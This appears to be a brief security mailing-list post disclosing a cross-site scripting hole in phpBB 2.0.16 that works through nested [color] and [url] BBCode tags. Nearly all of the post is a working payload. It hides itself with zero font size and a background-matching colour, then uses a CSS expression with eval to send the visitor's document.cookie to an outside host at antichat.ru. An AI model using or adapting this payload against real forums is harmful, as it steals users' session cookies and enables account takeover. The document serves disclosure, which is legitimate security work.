XSS in nested tag in phpbb 2.0.16

["alex" <pigrelax () yandex ru>]

Hi all!

Example:

[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'styl
e='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://antic
hat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/u
rl][/url]'[/color]

More info:
http://www.securitylab.ru/55612.html

and

http://antichat.ru/txt/phpbb/

(In Russian)